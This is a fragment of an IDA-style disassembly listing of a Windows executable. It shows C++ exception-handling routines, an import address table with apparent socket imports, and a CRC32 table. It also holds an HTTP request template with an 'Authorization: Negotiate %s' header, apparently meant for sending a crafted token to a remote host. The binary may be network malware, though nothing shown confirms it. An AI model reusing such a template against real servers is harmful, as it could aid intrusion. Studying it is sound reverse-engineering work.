loc_4206A1:				; CODE XREF: sub_42067A+7j
					; sub_42067A+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42067A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4206B0	proc near		; CODE XREF: sub_404ADF+12p
					; sub_404B39+12p ...
		mov	eax, offset loc_420BA0
		call	sub_4162F0
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404CE4
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_415B10
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D1C
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_42070A
		lea	eax, [ebp-3Ch]
		push	offset dword_421FA8
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C6C
		call	sub_420B09
		pop	esi
sub_4206B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42070A	proc near		; CODE XREF: sub_4206B0+3Fp
					; sub_4208DC+3Fp
		mov	eax, offset loc_420BB4
		call	sub_4162F0
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_43B188
		call	sub_420A2E
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_404CE4
		push	dword_421C98
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404B91
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C8C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_42070A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42076E	proc near		; DATA XREF: seg001:00421C70o
					; seg001:00421C90o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_42077A
		mov	eax, offset dword_421258

locret_42077A:				; CODE XREF: sub_42076E+5j
		retn
sub_42076E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42077B	proc near		; DATA XREF: seg001:00421C94o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4207F1
		lea	eax, [ebp+var_1C]
		push	offset dword_422018
		push	eax
		call	sub_420B09
sub_42077B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420798	proc near		; CODE XREF: seg001:004207D8p
					; DATA XREF: seg001:0042201Co
		mov	eax, offset loc_420BC8
		call	sub_4162F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C8C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404CE4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420AB5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_420798	endp

; ---------------------------------------------------------------------------


loc_4207D5:				; DATA XREF: seg001:off_421C8Co
		push	esi
		mov	esi, ecx
		call	sub_420798
		test	byte ptr [esp+8], 1
		jz	short loc_4207EB
		push	esi
		call	sub_41630F
		pop	ecx


loc_4207EB:				; CODE XREF: seg001:004207E2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4207F1	proc near		; CODE XREF: sub_42077B+Ap
					; sub_4208C4+7p ...
		mov	eax, offset loc_420BDC
		call	sub_4162F0
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_420A6B
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_404CE4
		push	dword_421C98
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404B91
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C8C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_4207F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42084E	proc near		; CODE XREF: sub_42088B+20p
					; DATA XREF: seg001:00421FACo
		mov	eax, offset loc_420BF0
		call	sub_4162F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C8C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404CE4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420AB5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_42084E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42088B	proc near		; DATA XREF: seg001:00421C74o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4208C4
		lea	eax, [ebp+var_1C]
		push	offset dword_421FA8
		push	eax
		call	sub_420B09


loc_4208A8:				; DATA XREF: seg001:off_421C6Co
		push	esi
		mov	esi, ecx
		call	sub_42084E
		test	[esp+20h+var_18], 1
		jz	short loc_4208BE
		push	esi
		call	sub_41630F
		pop	ecx


loc_4208BE:				; CODE XREF: sub_42088B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_42088B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4208C4	proc near		; CODE XREF: sub_42088B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4207F1
		mov	dword ptr [esi], offset	off_421C6C
		mov	eax, esi
		pop	esi
		retn	4
sub_4208C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208DC	proc near		; CODE XREF: sub_404B91+13p
					; sub_404D51+Ep
		mov	eax, offset loc_420C04
		call	sub_4162F0
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404CE4
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_415B10
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D1C
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_42070A
		lea	eax, [ebp-3Ch]
		push	offset dword_4220D0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421CA0
		call	sub_420B09
		pop	esi
sub_4208DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420936	proc near		; CODE XREF: sub_420973+20p
					; DATA XREF: seg001:004220D4o
		mov	eax, offset loc_420C18
		call	sub_4162F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C8C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404CE4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420AB5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_420936	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420973	proc near		; DATA XREF: seg001:00421CA8o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4209AC
		lea	eax, [ebp+var_1C]
		push	offset dword_4220D0
		push	eax
		call	sub_420B09


loc_420990:				; DATA XREF: seg001:off_421CA0o
		push	esi
		mov	esi, ecx
		call	sub_420936
		test	[esp+20h+var_18], 1
		jz	short loc_4209A6
		push	esi
		call	sub_41630F
		pop	ecx


loc_4209A6:				; CODE XREF: sub_420973+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_420973	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4209AC	proc near		; CODE XREF: sub_420973+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4207F1
		mov	dword ptr [esi], offset	off_421CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_4209AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4209C4	proc near		; DATA XREF: seg001:0042300Co

; FUNCTION CHUNK AT 004209FA SIZE 0000000C BYTES

		test	byte_46B924, 1
		jnz	short loc_4209D4
		or	byte_46B924, 1


loc_4209D4:				; CODE XREF: sub_4209C4+7j
		call	sub_4209EE
		test	byte_46CCC0, 1
		jnz	short loc_4209E9
		or	byte_46CCC0, 1


loc_4209E9:				; CODE XREF: sub_4209C4+1Cj
		jmp	loc_4209FA
sub_4209C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4209EE	proc near		; CODE XREF: sub_4209C4:loc_4209D4p
		push	offset nullsub_1
		call	sub_4166D0
		pop	ecx
		retn
sub_4209EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4209C4


loc_4209FA:				; CODE XREF: sub_4209C4:loc_4209E9j
		push	offset nullsub_1
		call	sub_4166D0
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4209C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420A06	proc near		; CODE XREF: sub_40443B+5Ep
					; sub_405398+157p
		jmp	dword_4211D8
sub_420A06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420A0C	proc near		; CODE XREF: sub_415F5C+23p
					; sub_416200+13p
		jmp	dword_421154
sub_420A0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A12	proc near		; DATA XREF: seg001:off_421CC8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_420AB5
		test	[esp+4+arg_0], 1
		jz	short loc_420A28
		push	esi
		call	sub_41630F
		pop	ecx


loc_420A28:				; CODE XREF: sub_420A12+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_420A12	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A2E	proc near		; CODE XREF: sub_42070A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421CC8
		push	dword ptr [edi]
		call	sub_415B10
		inc	eax
		push	eax
		call	sub_416655
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_420A5D
		push	dword ptr [edi]
		push	eax
		call	sub_415A20
		pop	ecx
		pop	ecx


loc_420A5D:				; CODE XREF: sub_420A2E+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_420A2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A6B	proc near		; CODE XREF: sub_4207F1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421CC8
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_420AA8
		push	dword ptr [edi+4]
		call	sub_415B10
		inc	eax
		push	eax
		call	sub_416655
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_420AAE
		push	dword ptr [edi+4]
		push	eax
		call	sub_415A20
		pop	ecx
		pop	ecx
		jmp	short loc_420AAE
; ---------------------------------------------------------------------------


loc_420AA8:				; CODE XREF: sub_420A6B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_420AAE:				; CODE XREF: sub_420A6B+2Ej
					; sub_420A6B+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_420A6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420AB5	proc near		; CODE XREF: sub_420798+2Bp
					; sub_42084E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_421CC8
		jz	short locret_420ACA
		push	dword ptr [ecx+4]
		call	sub_41630F
		pop	ecx

locret_420ACA:				; CODE XREF: sub_420AB5+Aj
		retn
sub_420AB5	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_420AD7
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_420AD7:				; CODE XREF: seg001:00420AD0j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_420AD8	proc near		; CODE XREF: seg001:00420AF0p
		mov	dword ptr [ecx], offset	off_421CE8
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_420AEC
		push	ecx
		call	sub_415C9B
		pop	ecx

locret_420AEC:				; CODE XREF: sub_420AD8+Bj
		retn
sub_420AD8	endp

; ---------------------------------------------------------------------------


loc_420AED:				; DATA XREF: seg001:off_421CE8o
		push	esi
		mov	esi, ecx
		call	sub_420AD8
		test	byte ptr [esp+8], 1
		jz	short loc_420B03
		push	esi
		call	sub_41630F
		pop	ecx


loc_420B03:				; CODE XREF: seg001:00420AFAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B09	proc near		; CODE XREF: sub_4206B0+54p
					; sub_42077B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_421CF0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_421188	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_420B09	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_420B44	proc near		; DATA XREF: seg001:00421E9Co

; FUNCTION CHUNK AT 00404AD7 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_404AD7
sub_420B44	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_420B62
		mov	ecx, [ebp+8]
		jmp	loc_404AD7
; ---------------------------------------------------------------------------

locret_420B62:				; CODE XREF: seg001:00420B54j
		retn
; ---------------------------------------------------------------------------


loc_420B63:				; DATA XREF: sub_40467Co
		mov	eax, offset dword_421EA0
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_420B78:				; DATA XREF: seg001:00421EC8o
		lea	ecx, [ebp-1Ch]
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_420B80:				; DATA XREF: sub_40481Bo
		mov	eax, offset dword_421ECC
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4


loc_420B8C:				; DATA XREF: sub_404DB8o
		mov	eax, offset dword_421F1C
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_420BA0:				; DATA XREF: sub_4206B0o
		mov	eax, offset dword_421FB8
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_420AB5
; ---------------------------------------------------------------------------


loc_420BB4:				; DATA XREF: sub_42070Ao
		mov	eax, offset dword_421FE0
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_420AB5
; ---------------------------------------------------------------------------


loc_420BC8:				; DATA XREF: sub_420798o
		mov	eax, offset dword_422028
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_420AB5
; ---------------------------------------------------------------------------


loc_420BDC:				; DATA XREF: sub_4207F1o
		mov	eax, offset dword_422050
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_420AB5
; ---------------------------------------------------------------------------


loc_420BF0:				; DATA XREF: sub_42084Eo
		mov	eax, offset dword_422078
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_420C04:				; DATA XREF: sub_4208DCo
		mov	eax, offset dword_4220E0
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_420AB5
; ---------------------------------------------------------------------------


loc_420C18:				; DATA XREF: sub_420936o
		mov	eax, offset dword_422108
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		dd 0F7h	dup(0)
dword_421000	dd 77EB7624h		; DATA XREF: sub_40A5C5+3Dr
dword_421004	dd 77E6BD68h		; DATA XREF: sub_4203C1+173r
dword_421008	dd 77E77F2Eh		; DATA XREF: sub_420119+3Er
					; sub_420119+261r
dword_42100C	dd 77E762D0h		; DATA XREF: sub_420119+5Br
					; sub_420119+B9r
dword_421010	dd 77E70192h		; DATA XREF: sub_41F120+F9r
dword_421014	dd 77E7176Ch		; DATA XREF: sub_41E83A+8r
dword_421018	dd 77E7339Ch		; DATA XREF: sub_41E802+Cr
dword_42101C	dd 77E7C9E7h		; DATA XREF: sub_41E7E4+5r
					; sub_41E7F5+6r
dword_421020	dd 77E73FF9h		; DATA XREF: sub_41DD9F+2Cr
dword_421024	dd 77E7FF2Eh		; DATA XREF: sub_41DC71:loc_41DCC1r
					; sub_41DCE8:loc_41DD3Br
dword_421028	dd 77E7C866h		; DATA XREF: sub_41DA93+3Fr
					; sub_41DA93+12Dr
dword_42102C	dd 77E641EBh		; DATA XREF: sub_41DA93+59r
					; sub_41DA93+8Dr
dword_421030	dd 77E78406h		; DATA XREF: sub_41D4EF+FFr
					; sub_41D4EF+166r ...
dword_421034	dd 77E79C3Dh		; DATA XREF: sub_41D4EF+158r
					; sub_41D7B5+143r
dword_421038	dd 77E7C931h		; DATA XREF: sub_41D4EF+19Dr
dword_42103C	dd 77E77EE1h		; DATA XREF: sub_41D3BD+9r
dword_421040	dd 77E67702h		; DATA XREF: sub_41D3BD:loc_41D3ECr
					; sub_41D3BD+E1r
dword_421044	dd 77E7C9E1h		; DATA XREF: sub_41D3BD+CEr
dword_421048	dd 77E73C49h		; DATA XREF: sub_401000+AAr
					; sub_401444+95r ...
dword_42104C	dd 77E7751Ah		; DATA XREF: sub_401000+27r
					; sub_401444+1A6r ...
dword_421050	dd 77E802FCh		; DATA XREF: sub_4010B2+18Cr
					; sub_4010B2+2D4r ...
dword_421054	dd 77E6D75Bh		; DATA XREF: sub_4010B2+182r
					; sub_4018CB+FFr
dword_421058	dd 77E704FCh		; DATA XREF: sub_40211C+20r
					; sub_40A9D8+183r ...
dword_42105C	dd 77E70F89h		; DATA XREF: sub_40211C+Er
					; sub_40B078+Dr ...
dword_421060	dd 77E61BE6h		; DATA XREF: sub_4021FB+5Dr
					; sub_40282F+E3r ...
dword_421064	dd 77E77CCEh		; DATA XREF: sub_402FCD+66r
					; sub_4030B0+65r ...
dword_421068	dd 77E78B82h		; DATA XREF: sub_4033B6+135r
					; sub_406978+80r ...
dword_42106C	dd 77E77963h		; DATA XREF: sub_4033B6+11Dr
					; sub_4033B6+150r ...
dword_421070	dd 77E79D8Ch		; DATA XREF: sub_4033B6+100r
					; sub_409D34+AEr ...
dword_421074	dd 77E73EACh		; DATA XREF: sub_4033B6+E6r
dword_421078	dd 77E7A837h		; DATA XREF: sub_4033B6+68r
					; sub_406048+1C3r ...
dword_42107C	dd 77E7A099h		; DATA XREF: sub_4059FC+18r
					; sub_4071B6+58r ...
dword_421080	dd 77E64106h		; DATA XREF: sub_405ECC+9Fr
					; sub_40A9D8+1B6r
dword_421084	dd 77E64006h		; DATA XREF: sub_405ECC+8Br
					; sub_40A9D8+19Fr
dword_421088	dd 77F5157Dh		; DATA XREF: sub_406048+26Fr
					; sub_4071B6+12Br ...
dword_42108C	dd 77E7AC37h		; DATA XREF: sub_406048+24Cr
					; sub_4071B6+10Br ...
dword_421090	dd 77E793EFh		; DATA XREF: sub_406048+1EDr
					; sub_406978+38r ...
dword_421094	dd 77E74CABh		; DATA XREF: sub_406048+10Fr
					; sub_409D34+10Fr ...
dword_421098	dd 77E78EAAh		; DATA XREF: sub_4062F7+5EDr
					; sub_4087CA+C0r ...
dword_42109C	dd 77E79424h		; DATA XREF: sub_4062F7+27Ar
dword_4210A0	dd 77E794BFh		; DATA XREF: sub_4062F7+26Cr
dword_4210A4	dd 77E75E67h		; DATA XREF: sub_4062F7+20Cr
					; sub_4062F7+5DCr ...
dword_4210A8	dd 77E75D9Eh		; DATA XREF: sub_4062F7+1FBr
					; sub_4087CA+26r
dword_4210AC	dd 77E78C81h		; DATA XREF: sub_406978+6Cr
					; sub_40B61A+259r ...
dword_4210B0	dd 77F7E300h		; DATA XREF: sub_4076CB+130r
dword_4210B4	dd 77F7E21Fh		; DATA XREF: sub_4076CB+C5r
dword_4210B8	dd 77E7C706h		; DATA XREF: sub_4078DF+77r
dword_4210BC	dd 77F53275h		; DATA XREF: sub_4078DF+6Br
					; sub_4078DF+241r
dword_4210C0	dd 77E805D8h		; DATA XREF: sub_40891C+13Ar
					; sub_40891C:loc_408E0Cr ...
dword_4210C4	dd 77E7A5FDh		; DATA XREF: sub_40891C+11r
					; sub_41A77A+15r ...
dword_4210C8	dd 77E79F93h		; DATA XREF: sub_40891C+2r
					; sub_409D34+FBr ...
dword_4210CC	dd 77E76A60h		; DATA XREF: sub_409B27+2Dr
dword_4210D0	dd 77E71B14h		; DATA XREF: sub_409BB1+26r
dword_4210D4	dd 77E7166Fh		; DATA XREF: sub_409BB1+1Dr
dword_4210D8	dd 77E75090h		; DATA XREF: sub_409BEC+69r
dword_4210DC	dd 77E74D76h		; DATA XREF: sub_409BEC+36r
dword_4210E0	dd 77E77797h		; DATA XREF: sub_409BEC+25r
dword_4210E4	dd 77E7011Ah		; DATA XREF: sub_409C6E+96r
dword_4210E8	dd 77E73CE2h		; DATA XREF: sub_409C6E+60r
dword_4210EC	dd 77E61BB8h		; DATA XREF: sub_409D34+17Er
					; sub_409EBC+B4r ...
dword_4210F0	dd 77E668D9h		; DATA XREF: sub_409D34+15Dr
dword_4210F4	dd 77E70396h		; DATA XREF: sub_409D34+126r
					; sub_40C574+1BFr ...
dword_4210F8	dd 77E6AD34h		; DATA XREF: sub_409D34+35r
					; sub_40CD3A+3C9Br
dword_4210FC	dd 77E7FF65h		; DATA XREF: sub_40A5C5+5Ar
dword_421100	dd 77E79CE3h		; DATA XREF: sub_40A71A+91r
dword_421104	dd 77E79C90h		; DATA XREF: sub_40A71A+79r
					; sub_413BE5+Cr ...
dword_421108	dd 77E7727Ah		; DATA XREF: sub_40A71A+38r
dword_42110C	dd 77E7C657h		; DATA XREF: sub_40A9D8+24r
					; seg001:004140F2r ...
dword_421110	dd 77E76C1Ah		; DATA XREF: sub_40A9D8+1CFr
dword_421114	dd 77E75CB5h		; DATA XREF: sub_40BBF7+465r
					; sub_40C48C+DFr ...
dword_421118	dd 77E73628h		; DATA XREF: sub_40C574+324r
					; sub_40CD3A+46F3r ...
dword_42111C	dd 77E706B7h		; DATA XREF: sub_40C574+260r
					; sub_413C50+184r ...
dword_421120	dd 77E80656h		; DATA XREF: sub_40C574+253r
dword_421124	dd 77E6BD13h		; DATA XREF: sub_40C574:loc_40C739r
dword_421128	dd 77E79D5Bh		; DATA XREF: sub_40C574+75r
					; sub_40C574+2FAr
dword_42112C	dd 77E7C2C4h		; DATA XREF: sub_40C574+6Er
dword_421130	dd 77E75CEBh		; DATA XREF: sub_40CD3A+4938r
					; sub_414F15+27r
dword_421134	dd 77E71AFEh		; DATA XREF: sub_40CD3A+3A86r
dword_421138	dd 77E79924h		; DATA XREF: sub_413112+13r
					; sub_41C639+20Dr ...
dword_42113C	dd 77E65F4Ch		; DATA XREF: sub_413B27+34r
					; seg001:00414011r
dword_421140	dd 77E616B4h		; DATA XREF: sub_413C50+193r
					; sub_413EDB+1Fr ...
dword_421144	dd 77E7513Ch		; DATA XREF: seg001:0041407Er
dword_421148	dd 77E6C29Dh		; DATA XREF: sub_414826+1F0r
dword_42114C	dd 77F516F8h		; DATA XREF: sub_415C27+6Cr
					; sub_41737F+C6r ...
dword_421150	dd 77F51597h		; DATA XREF: sub_415C9B+60r
					; sub_418CE8+2C5r ...
dword_421154	dd 77F6183Eh		; DATA XREF: sub_420A0Cr
dword_421158	dd 77E76E3Dh		; DATA XREF: sub_41697B+6Cr
					; sub_41EA02+38r
dword_42115C	dd 77E61608h		; DATA XREF: sub_41697B+17r
dword_421160	dd 77F5722Fh		; DATA XREF: sub_41737F+110r
					; sub_41737F+22Dr ...
dword_421164	dd 77E6177Ah		; DATA XREF: seg001:00417BB7r
					; sub_41D4EF+59r
dword_421168	dd 77E7C938h		; DATA XREF: seg001:00417B8Cr
dword_42116C	dd 77E7C486h		; DATA XREF: seg001:00417B3Er
dword_421170	dd 77E7AC5Eh		; DATA XREF: sub_418AD0+54r
dword_421174	dd 77E76E0Bh		; DATA XREF: sub_418C18+50r
dword_421178	dd 77E7C726h		; DATA XREF: sub_418C18+11r
dword_42117C	dd 77E79E34h		; DATA XREF: sub_418CE8+240r
					; sub_4197BC+120r ...
dword_421180	dd 77E7980Ah		; DATA XREF: sub_41931A+76r
					; sub_4193CB+51r ...
dword_421184	dd 77E73196h		; DATA XREF: sub_41E81E+Cr
dword_421188	dd 77E6D706h		; DATA XREF: sub_419F74+215r
					; sub_420B09+2Er
dword_42118C	dd 77F522F2h		; DATA XREF: sub_41B4D8+58r
dword_421190	dd 77E77405h		; DATA XREF: sub_41C639+5Er
					; sub_41C639+A7r
dword_421194	dd 77E781F9h		; DATA XREF: sub_41C639+42r
					; sub_41C639+14Dr ...
dword_421198	dd 77E7849Fh		; DATA XREF: sub_41C85D+48r
					; sub_41CA9C+14r ...
dword_42119C	dd 77E7A13Fh		; DATA XREF: sub_41C9F6+2Fr
dword_4211A0	dd 77E6C703h		; DATA XREF: sub_41C9F6+1Ar
dword_4211A4	dd 77EB9A84h		; DATA XREF: sub_41CEDB+138r
dword_4211A8	dd 77E9C5B1h		; DATA XREF: sub_41D3BD+11Fr
		align 10h
dword_4211B0	dd 71AB1836h		; DATA XREF: sub_40597F+6Er
					; sub_4059FC+8Er
dword_4211B4	dd 71AB41DAh		; DATA XREF: sub_405398+47r
					; sub_40597F+15r
dword_4211B8	dd 71AB3F8Dh		; DATA XREF: sub_405398+8Dr
dword_4211BC	dd 71AB155Ah		; DATA XREF: sub_405398+9Dr
dword_4211C0	dd 71AB3ECEh		; DATA XREF: sub_405398+C4r
dword_4211C4	dd 71AB5DE2h		; DATA XREF: sub_405398+D8r
dword_4211C8	dd 71AB868Dh		; DATA XREF: sub_405398+17Er
dword_4211CC	dd 71AB2BBFh		; DATA XREF: seg001:0040529Fr
dword_4211D0	dd 71AB8629h		; DATA XREF: seg001:00405384r
dword_4211D4	dd 71AB1890h		; DATA XREF: sub_40443B+4Cr
					; sub_405398+115r
dword_4211D8	dd 71AB1B7Bh		; DATA XREF: sub_420A06r
dword_4211DC	dd 71AB12F8h		; DATA XREF: sub_40282F+27r
					; sub_402DD1+2Ar ...
dword_4211E0	dd 71AB1746h		; DATA XREF: sub_40282F+37r
					; sub_40297A+EEr ...
dword_4211E4	dd 71AB3C22h		; DATA XREF: sub_40282F+46r
					; sub_402DD1+49r ...
dword_4211E8	dd 71AB3E5Dh		; DATA XREF: sub_40282F+61r
					; sub_402DD1+64r ...
dword_4211EC	dd 71AB5690h		; DATA XREF: sub_40282F+7Er
					; sub_40282F+135r ...
dword_4211F0	dd 71AB1AF4h		; DATA XREF: sub_40282F+D1r
					; sub_40297A+26Dr ...
dword_4211F4	dd 71AB1A6Dh		; DATA XREF: sub_40282F+13Er
					; sub_402DD1+154r ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40481B+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_421240	dq 1.388888888888889e-2	; DATA XREF: sub_404630+2Fr
dbl_421248	dq 1.666666666666667e-1	; DATA XREF: sub_404630+15r
dbl_421250	dq 1.333333333333333	; DATA XREF: sub_40467C+7Ar
dword_421258	dd 2 dup(0)		; DATA XREF: sub_40481B+4Do
					; sub_404B91+57o ...
dword_421260	dd 0			; DATA XREF: sub_40B32A+24r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
